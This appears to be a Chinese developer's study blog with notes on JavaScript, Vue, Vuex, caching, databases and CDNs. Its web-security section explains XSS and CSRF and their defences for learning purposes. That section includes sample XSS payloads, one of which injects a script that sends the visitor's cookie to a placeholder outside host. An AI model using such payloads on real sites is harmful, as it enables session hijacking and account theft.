sfsoul / blog Goto Github PK
View Code? Open in Web Editor NEW记录
记录
reduce
语法:
arr.reduce(callback(accumulator, currentValue[, index[, array]])[, initialValue])
注意:若没有提供
initialValue
, reduce会从索引为1的地方开始执行callback方法,跳过第一个索引。若提供initialValue
,从索引0开始。
非科班,之前对数据结构不了解。但现在觉得这方面的知识很重要,属于程序员的内功需要修炼。
栈是一种线性存储结构且运算受限的线性表,它的插入和删除运算操作被限制在表的一端,该端称为栈顶,而另外一端则称为栈底。
栈中的数据以后进先出(Last In First Out 即LIFO)方式进出栈。
用JS中的数组方法来实现栈
function Stack(){
this.items = [];
}
Stack.prototype = {
constructor:Stack,
// 将新增的数据放入栈顶
push(item){
this.items.push(item);
},
// 删除当前栈顶的数据(会修改原始栈)
pop(){
return this.items.pop();
},
// 返回当前栈顶的数据(不会修改原始栈)
peek(){
return this.items[this.items.length - 1];
},
// 判断当前栈是否为空
isEmpty(){
return this.items.length > 0 ? false : true
},
// 清空当前栈
clear(){
this.items = [];
},
// 返回当前栈的长度
size(){
return this.items.length;
},
// 打印出当前栈的值
print(){
console.log(this.items.toString())
}
}
栈这种数据结构就可以类比于JS中函数的调用栈。
pwd
命令用于打印当前工作目录。它会将当前工作目录的完整系统路径打印到标准输出。默认情况下,pwd
命令会忽略符号链接。
lsof
命令即 ls open files
。
记录学习函数式编程。
一般情况下,针对复杂的大型项目,通常是把组件之间都需要用到的数据定义在Vuex
的state
中(一般都定义初始的默认值)。
这样做的好处在于
Vuex
中的状态存储是响应式的。即当Vue组件需要从store中读取某个数据的状态值时,若store中的数据值发生变化,Vue组件也是相应的得到更新。(所以常用计算属性来获取state中的值)commit mutation
。其实这样做的好处在于:可以清晰的记录下每次数据的改变,让每次的改变是能被追踪或者说监听到的。(可以联想到 vue-devtools)Hybrid 方案是基于 WebView 的,JavaScript 执行在 WebView 的 Webkit 引擎中。因此,Hybrid 方案中 JSBridge 的通信原理会具有一些 Web 特性。
主要还是想说下写这篇博文的目的。因为在此之前自己对于web安全这一块还是处在一个完全小白的阶段,之前也的确没想过就了解这一块的内容。是最近在准备面试的时候,刷了一些面试题目以及掘金上一些高赞的关于面试的文章中有提到面试官都会询问关于web安全这一块的知识,所以才立马查阅相关的文章来建立起自己关于这块的知识体系。这篇博客主要是个人涨知识以及记录为主,所以文中大多数内容都是从他人博客中引荐来的。
XSS是跨站脚本攻击,指的是恶意攻击者往Web页面里插入恶意的script
代码,当用户浏览该页时,嵌入其中Web里面的script
代码会被执行,从而达到恶意攻击用户的目的。
例如留言板(可以类比于新浪微博的评论框)。正常情况下用户的留言都是正常的语言文字,若有些恶意用户在留言框中输入一段js
代码
<script>alert('hey! you are attacked')</script>
那么当浏览器解析到用户的这一行代码时,会执行对应的js代码,即弹出一个信息框。
XSS的攻击方式就是想方设法的让用户浏览的浏览器去执行一些这个网页中根本不存在的前端代码。
在浏览网页的时候常常会涉及到用户登录,一般登录完毕之后服务端会在响应头中带上Set-Cookie
字段,并返回响应的cookie值给到浏览器。 这个cookie值就相当于一个令牌,拿着这个令牌就证明了你是某个用户。
你肯定好奇恶意用户是如何盗取到Cookie的呢?其实它只要输入这段url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>
,这样就可以把当前的cookie发送到指定的站点www.xxx.com
。
比如在网页中插入下面的代码
<script>window.location.href = 'http://www.baidu.com';</script>
这样的话所有访问者都会被跳转到百度的首页。
利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作。从新浪微博被攻击事件看SNS网站的安全问题
利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不正当的投票活动。
在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果
反射型XSS只是简单地把用户输入的数据"反射"给浏览器,这种攻击方式 常常需要攻击者诱使用户去点击一个恶意的链接或者提交一个表单,或者进入一个恶意的网站时,浏览器解析并执行恶意的js
代码。
它与反射型XSS最大的不同就是:(1)将恶意脚本存储到数据库中;(2)服务器在接收到我们的恶意脚本时会将其做一些处理。
如将恶意代码存储在数据库中,当我们再次访问相同页面时,将恶意脚本从数据库中取出并返回给浏览器执行。这意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,所以存储型XSS的危害更大。
比如上面举到的留言板例子,就属于存储型XSS。只要有人在留言内容中插入恶意脚本,由于服务器要向每一个访客展示之前的留言内容,所以后面的访客自然会接收到之前留言板中的恶意代码。
<script>alert('aaa')</script>
提交到网站<script>alert('aaa')</script>
,所有用户都会在网页中弹出aaa的弹窗。一般情况下,客户端可以通过document.cookie
来获取页面的cookie
值。服务器端可以通过设置HttpOnly
属性来禁止客户端通过document.cookie
来获取cookie
。上面有说到攻击者可以通过注入恶意脚本来获取用户的cookie
信息。通过在cookie
中都包含了用户的登录凭证信息,攻击者在获取到cookie
之后,则可以发起cookie
劫持攻击。所以严格说,Httponly并非组织XSS攻击,而是能阻止XSS攻击后的Cookie劫持攻击。
永远不要相信用户的任何输入。对于用户的任何输入要进行检查、过滤和转义。建议可信任的字符和HTML标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。
用户的输入会存在问题,服务端的输出也会存在问题。一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。
CSRF(Cross-site request forgery),中文名称:跨站请求伪造。攻击者盗用了你的身份,以你的名义发送恶意请求。
验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。
原因在于:从上面的例子中看出,CSRF攻击往往是在用户不知情的情况下构造了网络请求。而验证码会强制用户必须与应用进行交互,才能完成最终的请求。这可以很好遏制CSRF攻击。
局限性在于:不可能对于每个操作都加上验证码,对用户的体验感不友好。
根据HTTP协议,在HTTP头中有一个字段叫Referer
,它记录了该HTTP请求的来源地址。通过Referer Check
,可以检查请求是否来自合法的"源"。
通俗来讲,就是后端同学在服务端会增加限制代码。
//限制客户端只能是这个源头发起请求,服务器端才会处理。否则将它作为CSRF攻击
if (req.headers.referer !== 'http://www.c.com:8002/') {
res.write('csrf 攻击');
return;
}
CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
【前端安全】JavaScript防XSS攻击
浅说 XSS 和 CSRF
浅谈XSS攻击的那些事(附常用绕过姿势)
[科普]跨站请求伪造-CSRF防护方法
浅谈CSRF攻击方式
说HTML命名之前,先说下布局的二个概念:模块(module)和元件(unit)
两者关系为:模块包含元件,元件组成模块。
看个例子
上面整个弹窗,当成一个模块。可以把标题,提示内容,按钮当做元件。
<div class="m-alert">
<div class="m-box">
<div class="m-box-inner">
<div class="u-title">提示2</div>
<div class="u-content">这里是提示内容2</div>
</div>
<div class="m-box-buttons">
<span class="u-btn-success">确定</span>
</div>
</div>
</div>
变量,函数一般而言都是使用小驼峰命名。
// 登录处理函数
let handleLogin = function(){}
关于 class的命名规范,应该用大驼峰命名
// 创建一个类
class Person{
// ...
}
常量建议使用大写字符+下划线命名。
// 配置最大金额
const PRICE_MAX = 10000;
私有变量相对于外面作用域而言,为了区分变量是公用的,还是私有的。建议命名上面做下区分,私有变量建议使用下划线开头+小驼峰命名方式。
let myObj = {
name: 'zj',
setName(){
// 保存当前的this
let _this = this;
setTimeout(function(){
alert(_this.name)
},1000)
}
}
函数命名,一般都是动词开头。
如果函数是为了获取值(函数最后会返回一个值的),函数前面建议带有get。
// 根据ID获取用户信息
function getUserInfo(id){
}
如果函数是为了设置值(函数最后会返回一个值得),函数执行是为了给某一个变量赋值,函数前面建议带有set。
// 设置用户信息
function setUserInfo(){
}
如果函数是为了处理一些操作,比如登录,注册,渲染列表等。建议命名前面带有handle。
// 分页操作
handleChangeCurrent(val){
}
// 注册操作
handleRegister(){
}
如果是通用性质的图片,如 LOGO,菜单,侧边栏,背景等,直接使用小写字母命名。比如:logo.jpg, menu.jpg, aside.jpg, bg.jpg。
如果不是通用的图片,建议根据类比-模块-功能的格式。使用小写字母,‘-’或者‘_’分割。
使用点运算符和 Object.defineProperty()
为对象的属性赋值时,数据描述符中的属性默认值是不同的。
若访问者的属性是被继承的,它的 get
和 set
方法会在子对象的属性被访问或者修改时调用。若这些方法用一个变量存值,该值会被所有对象共享。
在有些情况下,我们可能需要对一个
prop
进行"双向绑定"。不幸的是,真正的双向绑定会带来维护上的问题,因为子组件可以修改父组件,且在父组件和子组件都没有明显的改动来源。
以上是官网对为什么使用.sync
修饰符的介绍。
下面介绍两种通用的子组件修改父组件数据的方法:
// html
<div id="app">
<h1>父组件信息:{{msg}}</h1>
<child :msg="msg" :change="changeMsg"></child>
<!--子组件触发自定义事件,将数据作为参数回传给父组件用v-on:[自定义事件]监听的函数-->
<custom-child :msg="msg" @modify="modifyMsg"></custom-child>
</div>
// js
Vue.component('custom-child',{
template:`
<div class="child">
<h6>自定义子组件:{{msg}}</h6>
<button @click="modifyMsg">修改父组件msg</button>
</div>
`,
props:['msg'],
methods:{
modifyMsg(){
this.$emit('modify', '我改动你啦')
}
}
})
Vue.component('child',{
template:`
<div class="child">
<h3>接收父组件信息:{{msg}}</h3>
<button @click="change">改变父组件信息</button>
</div>
`,
props:{
msg:String,
change:{
type: Function
}
},
methods:{
changeMsg(){
this.msg = 'xixi'
}
}
})
window.vm = new Vue({
el:"#app",
data:{
msg: '我是父组件'
},
methods:{
changeMsg(){
this.msg = '修改父组件的值咯'
},
modifyMsg(val){
this.msg = val;
}
}
})
JavaScript的默认对象表示方式 {}
可以视为其他语言中的 Map
和 Dictionary
的数据结构,即一组键值对。但是 JavaScript
的对象有个小问题,即键必须是字符串。但实际上Number或者其他数据类型作为键也是非常合理的。为了解决这个问题,最新的ES6规范引入了新的数据类型Map
和 Set
。
Set是一种叫做集合的数据结构,Map是一种叫做字典的数据结构
const array = [2,3,5,4,5,2,2];
const newArray = [...new Set(array)]; // [2,3,5,4]
因为最近一直在准备面试,所以对js基础方面的东西又加深了一些了解,因此想通过自己的认知将学到的东西写下来。js继承这块一直是面试的重点,这篇文章的就是基于看了冴羽的博客博客地址后加上了自己的想法写的。
先写一个个人认为目前最好的继承
//父类构造函数
function Father(name){
this.name = name;
}
//父类原型上方法
Father.prototype.getName = function(){
console.log(this.name);
};
//子类构造函数
function Child(name,age){
Father.call(this,name); //为实例添加name属性
this.age = age;
}
Child.prototype = Object.create(Father.prototype); //使得 Child.prototype.__proto__ === Father.prototype
Child.prototype.constructor = Child; //重新修改Child.prototype指向
Child.prototype.getAge = function(){
console.log(this.age);
};
var child = new Child("zj",25);
console.log(child);
console.log(child.__proto__ === Child.prototype); //true
console.log(Child.prototype.__proto__ === Father.prototype); //true
console.log(child.constructor === Child); //true
console.log(Child.prototype.constructor === Child); //true
再来看看原型链继承的缺点
这边直接拷贝冴羽大神那块的代码
function Parent(){
this.names = ["zj","dmy"];
}
Parent.prototype.getName = function(){
console.log(this.name);
}
function Child(){}
Child.prototype = new Parent(); //实现继承。相当于 Child.prototype.__proto__ === Parent.prototype
var child1 = new Child();
var child2 = new Child();
console.log(child1);
console.log(child2);
首先从上面的代码以及截图中来分析原型链继承的第一个缺点(引用类型被所有实例共享)。
因为child1、child2两个实例对象自身并没有names这个属性,所以输出child1.names、child2.names的时候,其实本质上它们都要去原型上查找,即Child.prototype.names。
function Father(name){
this.name = name;
this.getName = function(){
console.log(this.name);
}
}
function Child(name,age){
Father.call(this,name);
this.age = age;
}
var child1 = new Child("zj",25);
var child2 = new Child("dmy",25);
console.log(child1);
console.log(child2);
从图上可以看出child1和child2这两个实例都各自拥有各自的getName方法,而不是通过访问Child.prototype原型上得来的,这样每次创建实例的时候都需要为每个实例都创建很多方法(若方法很多的情况下),这样太不好啦。而且方法只能写在构造函数里面,不能把方法写在原型上Father.prototype.getName
定义,因为实例并不能得到通过原型方式定义的方法。
类的实例化,一个强制要求的行为,就是需要使用new操作符。如果不使用new操作符,那么构造器内的this指向,将不是当前的实例化对象。 优化的方式,就是使用instanceof
做一层防护。
function Toast(option){
if(!(this instanceof Toast)){
throw new Error('Toast instantiation error');
}
this.prompt = '';
this.elem = null;
this.init(option);
}
强制调用者用new
关键字来调用Toast
函数。直接调用Toast
函数就会报错。
vuex
就是把需要共享的变量全部存储在一个对象里面,然后将这个对象放在顶层组件中供其他组件使用。
Getter
可以理解为State
的计算属性。
两种commit mutation
的方式
mutations: {
increment (state, payload) {
state.count += payload.amount
}
}
store.commit('increment',{
amount:10
})
对象风格的提交方式
mutations: {
increment (state, payload) {
state.count += payload.amount
}
}
store.commit({
type: 'increment',
amount: 10
})
两种形式:一种传入对象,一种传入数组
// 在单独构建的版本中辅助函数为 Vuex.mapState
import { mapState } from 'vuex'
export default {
// ...
computed: mapState({
// 箭头函数可使代码更简练
count: state => state.count,
// 传字符串参数 'count' 等同于 `state => state.count`
countAlias: 'count',
// 为了能够使用 `this` 获取局部状态,必须使用常规函数
countPlusLocalState (state) {
return state.count + this.localCount
}
})
}
computed: mapState([
// 映射 this.count 为 store.state.count
'count'
])
v-model
进行双向绑定store
中的状态。改变store
状态的唯一途径就是显示的去commit mutation
。这篇更像是一个科普文,因为在实际项目中,缓存机制是无处不在,有客户端缓存,服务端缓存,代理服务器缓存等等。而与前端打交道最多的应该属于浏览器缓存啦,在用户看到的界面中存在的图片或者js、css文件,本质上都是通过client
端向server
端发起请求获取的,试想一下如果用户打开某个首页每次都要去请求一次index.js或者一些大的png图片,这些请求的建立都是需要花费时间与带宽的,像一些不会经常变化的静态文件(图片、css、js等),完全是可以将它们在客户端缓存下来的,而不需要每次都去向服务器发起请求获取,这样可以减少页面展示内容的时间,这就是缓存机制的作用。
缓存一般被分为:强制缓存和协商缓存两类。
强制缓存,HTTP
状态码返回为200。
url
;url
(假设为https://github.com/images/334328y8.png), 并且在返回的响应头Response Headers
中返回cache-control: public, max-age=60000
信息max-age
存储的值,若小于则说明当前缓存还未过期,不会向服务器发起请求,直接将本地缓存的图片返回给客户端。若大于则会向服务器发起请求;协商缓存,HTTP
状态码返回为304。
Last Modified: GMT(时间格式)
的形式加在实体首部上一起返回给客户端。If-Modified-Since: GMT(时间格式)
信息,如果当前时间与上一次发起请求的时间已经超过了max-age
的值,则客户端会直接向服务器发起请求,然后服务器收到请求之后,会找到指定的文件,然后拿客户端传过来的If-Modified-Since
时间与服务器上该文件最后修改时间作比较,若相同则直接返回状态码304;若不同,则返回状态码304和新的资源实体内容以及这次相对应的缓存字段信息。在http1.0时代,Expires
主要是用来启用缓存和定义缓存时间。Expires
的值对应一个GMT
(Expires
),比如Mon, 22 Jul 2002 11:12:01 GMT
来告诉浏览器资源缓存过期的时间,如果没过期则不发起请求。
缺点: 响应报文中的Expires
定义的缓存时间是相对服务器上的时间而言,假如客户端时间和服务器时间不一致(用户修改自己电脑的系统时间),那么缓存就没有意义。
为了解决Expires
存在的问题,http1.1新增了Cache-Control
来定义缓存过期时间。若报文中同时出现Expires
和Cache-Control
,Cache-Control
的优先级更高,以它为准。
随着网站的业务不断扩展,数据会不断的增加,同样数据库的压力也会越来越大。如果只是简单的对SQL进行基本优化可能还是达不到最终的效果,所以可以采用读写分离的策略来改变现状。
数据访问量一大,读写都在一个库时,当执行写操作的时候,会把记录锁定,行在读时会被锁定。所以需要定义一个主库 专门负责写操作(CUD),而其他从库则负责读(Read)操作。同时使用读写分离也能缓解服务器压力。
对每次的sql语句检查下是select
还是Insert
,update
,Delete
操作,根据操作性质按照 负载均衡算法 选择合适的数据库连接字符串。
多个只读从库,在接收到大量读操作的时候,需要使用算法,把这些读负载均分到各个只读库上(本质就是分配的更合理)å
不论使用哪种算法,目的就是:把查询请求分散到多个只读库上去。
当用户向主库写入数据时,数据保存成功后,还没分发复制到从库时,需要有一个保障机制:即当用户在查看刚才操作的数据时,能正常访问,而不是找不到数据。
比如:1.刚保存一条记录,可以延时2秒,然后再查询这记录(保证这条记录被分发到只读从库时再查询)。
2.保存了记录后,在N秒内先查主库,待超过N秒后,再去从库查询。
不论主库还是从库,关键在于必须保证数据在查询时存在。
select
很多时,update
和delete
会被这些select
访问中的数据堵塞,等待select
结束,并发性能不高。对于写和读比例相近的应用,应该部署双主相互复制;MySQL
复制另外一大功能是增加冗余,提高可用性,当一台数据库服务器宕机后能通过调整另外一台从库来以最快的速度恢复服务。读写分离是指程序上把读操作和写操作分别对应不同的服务器。
误解:
为什么数据库读写分离可以提高性能
我们为什么要使用Mysql处理读写分离?读写分离有什么优点?
数据库的读写分离**
读写分离为什么能够提升性能?
Number
,String
,Boolean
,Undefined
,Symbol
,Null
,BigInt
。箭头函数的this
指向由外层第一个非箭头函数的函数决定并且不会被call
,apply
,bind
所改变。
在事件循环中,每进行一次循环操作称为 tick
,每一次 tick
的任务是比较复杂的,但关键步骤如下:
结论:
Promise.resolve
方法允许调用时不带参数,直接返回一个 resolved
状态的 Promise 对象。立即 resolved
的 Promise对象是在本轮事件循环的结束时,而不是下一轮事件循环的开始时。// 生成长度为11的随机字母数字字符串
Math.random().toString(36).substring(2); // 2xublx063ww
// 获取URL的查询参数代码
let q = {};
location.search.replace(/([^?&=]+)=([^&]+)/g,(_, k , v)=>q[k]=v);
console.log(q);
// 随机更改数组元素顺序,混淆数组
const fn = (arr) => arr.slice().sort(() => Math.random() - 0.5);
// 生成随机十六进制代码
'#' + Math.floor(Math.random() * 0xffffff).toString(16).padEnd(6, '0'); // #c4cbf5
// 创建特定大小的数组
[...Array(3).keys()]; // [0,1,2]
关于箭头函数,引用 MDN 的介绍:
An arrow function expression has a shorter syntax than a function expression and does not have its own this, arguments, super, or new.target. These function expressions are best suited for non-method functions, and they cannot be used as constructors.
直接返回一个对象:
let func = (name, age) => ({personName: name, personAge: age});
与变量解构结合
const info = {
name: 'zhangjing',
age: 26
};
let func = ({name, age}) => ({personName: name, personAge: age});
func(info); // {personAge: 26, personName: "zhangjing"}
this
箭头函数没有this
,需要通过查找作用域链来确定this
的值。意味着如果箭头函数被非箭头函数包含,this
绑定的就是最近一层非箭头函数的 this
。由于箭头函数没有this
,所以也不能用call
、apply
、bind
这些方法来改变this
的指向:
var value = 1;
var result = (() => {
console.log(this); // Window对象
return this.value;
}).bind({value: 2})();
console.log(result); // 1
若用let value = 1
来定义,则result
的结果返回为undefined
。
箭头函数没有自己的arguments
对象,它可以访问外围函数的arguments
对象:
function getName() {
return () => consolel.log(arguments[0]);
}
getName('zj')(); // 'zj'
可以通过命名参数或者 rest 参数的形式访问箭头函数的参数。
let getInfo = (...info) => console.log(info);
getInfo({name :'zj', age: 27}); // [{name :'zj', age: 27}]
JS
函数有两个内部方法:[[Call]]
和[[Construct]]
。
当通过 new
调用函数时,执行[[Construct]]
方法,创建一个实例对象,然后再执行函数体,将this
绑定到实例上。
当直接调用的时候,执行[[Call]]
方法,直接执行函数体。
箭头函数并没有[[Construct]]
方法,不能被用作构造函数,若通过new
的方式调用,会报错。
const Func = (name) => console.log(name);
const zj = new Func('zhangjing'); // Uncaught TypeError: Func is not a constructor.
因为不能使用 new
调用,所以也没有 new.target
值。
由于不能使用 new
调用箭头函数,所以也没有构建原型的需求,于是箭头函数不存在 prototype
这个属性。
const Func = (name) => console.log(name);
console.log(Func.prototype); // undefined
连原型都没有,自然不能通过 super
来访问原型的属性,所以箭头函数是没有 super
的,跟 this
、arguments
、new.target
一样,这些值都由外围最近一层非箭头函数决定。
自执行函数的形式为:
(function(){
console.log(33);
}())
(function(){
console.log(33);
})()
(() => {
console.log('arrow function');
})()
注意:使用以下写法会报错。原因
(() => {
console.log('arrow function');
}()) // Uncaught SyntaxError: Unexpected token (
主要记录工作中使用vue
技术栈遇到的问题或者是在看完官网demo后还不能完全理解的知识点。
吃饭吃到一半,电话来了,你一直到吃完了以后才去接,这就说明你不支持并发也不支持并行。
吃饭吃到一半,电话来了,你停了下来接了电话,接完后继续吃饭,这说明你支持并发。
吃饭吃到一半,电话来了,你一边打电话一边吃饭,这说明你支持并行。
并发的关键是你有处理多个任务的能力,不一定要同时。
并行的关键是你有同时处理多个任务的能力。
它们最关键的点就是:是否是 同时
在ES6
中,引入了一种新的数据结构类型:Set
。Set
与Array
的结构很类似,且Set
和Array
可以相互进行转换。用Set
和...(拓展运算符)
可以很简单的进行数组去重。
使用ES6
中的解构赋值
和拓展运算符
的特性来过滤属性的方法。
解构赋值
可以从一堆嵌套很深的对象属性中,拿到我们想要的那一个。
ES6
中新增的拓展运算符
,可以用来解构数组,也可以用来解构对象,它可以将对象中的所有属性展开。通过此特性,可以做一些对象合并的操作:
在ES6
中,为函数增加了参数默认值的特性,可以为参数设定一些默认值,可以通过这个特性来做 函数参数值的校验。
// 函数的参数可以是任意类型的值,也可以是函数。
function getA (){
console.log('get a');
return 2;
}
function fix(a = getA()) {
console.log('a', a);
}
fix(1); // 'a', 1
fix(); // 'get a'
// 'a', 2
// 为参数 a 添加一个必传的校验:
function require() {
throw new Error('缺少了参数 a')
}
function fix(a = require()) {
console.log('a', a)
}
fix(1); // 'a', 1
fix(); // Uncaught Error: 缺少了参数 a
If installed
@vue/cli-plugin-eslint
, you should havelint
script added in yourpackage.json
.That means you can just runyarn lint
ornpm run lint
. Also, set alias(lint
) by edit~/.zshrc
(alias lint="npm run lint"
)
使用
webpack-chain
链式API的调用方式,简化了对webpack配置的修改。
修改配置文件vue.config.js
。
call
和apply
都是为了改变某个函数运行时的上下文(context)而存在的,即为了改变函数体内部this
的指向。
JS
的一大特点:函数存在【定义时上下文】和【运行时上下文】以及【上下文是可以改变的】这样的概念。
定义一个 log 方法,让它可以代理 console.log 方法:
// 常见写法(当传入参数的个数是不确定的时候,下面的方法就失效了)
function log(params) {
console.log(params)
}
log(1); // 1
log(1,2); // 1
使用apply
或者call
,因为传入多少个参数是不确定的,所以最好使用apply
。
function log() {
console.log.apply(console, arguments);
}
log(11,2,3,4,5,6,7); // 11,2,3,4,5,6,7
要求给每一个 log 消息添加一个"(app)"
的前缀:
log("hello world"); // (app)hello world
首先想到arguments
参数是个伪数组,通过Array.prototype.slice.call
转化为真正的数组,再使用数组的unshift
方法将"(app)"
拼在前面即可。
function log(){
var args = Array.prototype.slice.call(arguments);
args.unshift('(app)');
console.log.apply(console,args);
}
log('zhangjing'); // (app)zhangjing
v-model
指令常用在表单<input>
、<textarea>
、<select>
元素上创建双向数据绑定。
先来看个官网的简单例子
<input type='text' v-model='message' placeholder='edit me'>
<p>Message is: {{message}}</p>
p
标签内的内容会随着用户在input
框中输入的内容跟着变化。
首先要明确的一点是:v-model
仅仅是语法糖。
<input type='text' v-model='message'>
<!--等价于-->
<input type='text' :value='message' @input='message = $event.target.value'>
input
元素本身有个oninput
事件,每当输入框内容发生变化,就是触发oninput
,把最新的value
值传递给message
这里第一个需要思考的问题就是v-model
指令是写在子组件里还是父组件里。
文档中有提到
要让组件的 v-model 生效,它应该:
- 接受一个 value属性
- 在有新的值时触发 input事件更新值
从上面可知,我们需要通过触发事件来实现 value
的更新,而Vue
中:
父子组件的关系可以总结为 props down, events up
显然,我们要将v-model
写在父组件中,若此时子组件想修改value
的值,只需要分发事件$emit('input', $event.target.value),即可更新父组件中v-model
绑定的值。
// html
<div id="app">
<custom-input v-model="val"></custom-input>
<h1>当前父组件的val值为:{{val}}</h1>
</div>
// js
Vue.component('custom-input', {
template: `
<div class='custom-input'>
<!--为什么把'input'作为触发事件的事件名?'input'在哪定义的?-->
<input type='text' :value='value' @input='updateInputVal'>
</div>
`,
props: ['value'], // 这里为什么要用value属性,value是在哪里定义的呢?
methods:{
// 子组件更新父组件的值
updateInputVal(e){
this.$emit('input', e.target.value)
}
}
})
window.vm = new Vue({
el:"#app",
data:{
val:"请输入内容哦!"
}
})
先来看下上面两个问题。props
中接受了value
,但是在组件<custom-input v-model='val'></custom-input>
中并没有传入value
,而且在input
标签中监听了input
事件,但是并没有在父组件中定义input
事件来处理子组件传递过来的值。
要理解这两点疑问,需要回到语法糖的问题上:
<custom-input v-model='val'></custom-input>
本质上等价于:
<custom-input :value='val' @input='val = arguments[0]'></custom-input>
子组件通过props:['value']
获取到父组件变量val
的值。当在input
标签中输入内容时会触发子组件监听的input
事件,同时会向父组件传递input
事件($emit中的input)事件,并且传递当前子组件中输入的值($event.target.value);而在父组件中,因为监听了自定义事件input
,当自定义事件input
触发后,会对当前父组件自身的val
值进行修改,更改为子组件中$emit
上来的值。($event.target.value 是作为$emit传递的参数,所以是arguments[0])
一个组件上的
v-model
默认会利用名为value
的prop和名为input
的事件,但是像单选框、复选框或> 者<select>
等类型的控件可能会将value
特性用于不同的目的。
在官网上刚开始看到这句话的时候我是一脸懵逼的,不过不要紧让我们先跟着代码往下看。
创建复选框或者单选框等组件时,v-model
就不好用。
<input type='checkbox' v-model='sth' />
v-model
提供了value
属性和oninput
事件,但是我们需要的是checked
属性而不是value
属性,并且当点击这个单选框的时候不会触发oninput
事件,只会触发onchange
事件。
// html
<div id="app">
<custom-checkbox v-model="isShow"></custom-checkbox>
</div>
// js
Vue.component('custom-checkbox', {
template: `
<div class="custom-checkbox">
<input type="checkbox" :checked="value" @change="updateCheckboxVal">
</div>
`,
props:['value'],
methods:{
updateCheckboxVal(e){
this.$emit('input', e.target.checked)
}
}
})
window.vm = new Vue({
el:"#app",
data:{
isShow: false
}
})
刚开始可以看到复选框是没被点中状态的。当点击复选框时,可以看到父组件的isShow
字段的值变为了true同时复选框变为choose状态;再次点击,父组件的isShow
字段值变为false且复选框为未被点中状态。
这里也很好分析
<custom-checkbox v-model="isShow"></custom-checkbox>
等价于
<custom-checkbox :value="isShow" @input='isShow = arguments[0]'></custom-checkbox>
但是对于单纯的input type='checkbox'
,我们更应该关注的是checked
属性的值以及触发事件是change
方法而不是input
事件, 期待<input type='checkbox' :checked='status' @change='status = $event.target.checked' />
这样的,而且上面的弊端也很明显就是在父组件上使用v-model时,都会默认的将value
属性用v-bind
绑定,对于input
标签没问题,但是对于其他的标签或许value
这个属性有别的作用,这样使用就显得太过于死板了。
官网提供了一种解决方案,通过model
选项来避免这样的冲突:
// html
<base-checkbox v-model='lovingVue'></base-checkbox>
// js
Vue.component('base-checkbox', {
model: { // 通过model选项来指定prop和event
prop: 'checked',
event: 'change'
},
props: {
checked: Boolean // 这里不需要用value,而是改为 checked
},
template: `
<input
type="checkbox"
:checked="checked"
<!--这里也不需要分发 input事件,而是分发 change事件-->
@change="$emit('change', $event.target.checked)"
>
`
})
可以看到新增的model
属性值中有两个key,这两个key其实就是v-model
这个语法糖所代表的prop
和event
,分别表示 该表单元素的值 和 改变元素值时触发的事件。在input
中,这两个值是value
和input
,在checkbox
中表示checked
和change
。
可以这样理解,在子组件中配置的model
属性与v-model
是强相关的。
// html
<base-checkbox v-model='lovingVue'></base-checkbox>
// 子组件model配置
model: {
prop: 'checked', // 告诉子组件props中所需要的属性为checked; 同时对于父组件相当于 :checked='lovingVue'
event: 'change' // 告诉子组件要想通过$emit分发事件去修改父组件的值需要分发 change事件;通过对于父组件相当于 :change='lovingVue = arguments[0]'
}
总结在编写
Vue
组件中遇到的问题与收获。
写下这篇博文主要还是想扩展一下自己的知识面,让自己不能只停留在写业务代码的阶段。其实关于CDN
,在很多关于前端性能优化的文章中会经常提到,之前自己也只是停留在听过的阶段,最近有幸看到几篇关于CDN
讲解很好的文章,所以特意结合自己的理解记录下这篇博文。
CDN
:全称是Content Delivery Network
,即内容分发网络。
CDN
是为了尽可能避开互联网上有可能影响数据传输数据和稳定性的瓶颈和环节,使内容能够传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络。CDN
系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息来将用户的请求重新导向到离用户最近的服务节点上。
CDN
作为前端性能经典手段,它的好处在于减少了用户发起请求到得到响应数据的时间。
思考一个问题:为什么使用CDN
就能加快得到响应数据呢?
这个问题得从CDN
的工作原理开始讲起。
浏览器输入域名=》通过DNS服务器解析出对应的IP地址=》用户向该IP对应的服务器发送访问请求=》服务器返回数据
可以看出与传统访问方式不同,CDN
网络是在用户和服务器之间增加了缓存层,将用户的访问请求引导到最优的缓存节点而不是服务器源站点,从而加速访问的速度。
最简单的CDN
网络由一个DNS服务器和几台缓存服务器组成:
CNAME
指向的CDN
专用DNS服务器。CDN
的DNS服务器将CDN
的全局负载均衡设备IP地址返回给用户。CDN
的全局负载均衡设备发起内容URL访问请求。CDN
全局负载均衡设备根据用户IP地址,以及用户请求的内容URL,选择一台用户所属区域的区域负载均衡设备,告诉用户向这台设备发起请求。本地Cache
加速,提高企业站点(尤其当含有大量图片和静态页面站点)的访问速度,并大大提高以上站点的稳定性,同时也减轻了源服务器的压力。
镜像服务消除了不同运营商之间互联的瓶颈造成的影响,实现了跨运营商的网络加速,保证不同网络中的用户都能得到良好的访问质量。
远程访问用户(距离源服务器物理位置较远的用户)根据DNS负载均衡技术智能自动选择Cache服务器,选择最快的Cache服务器,加快远程访问的速度。
自动生成服务器的远程Mirror(镜像)cache服务器,远程用户访问时从cache服务器上读取数据,减少远程访问的带宽、分担网络流量、减轻原站点WEB服务器负载等功能。
广泛分布的CDN
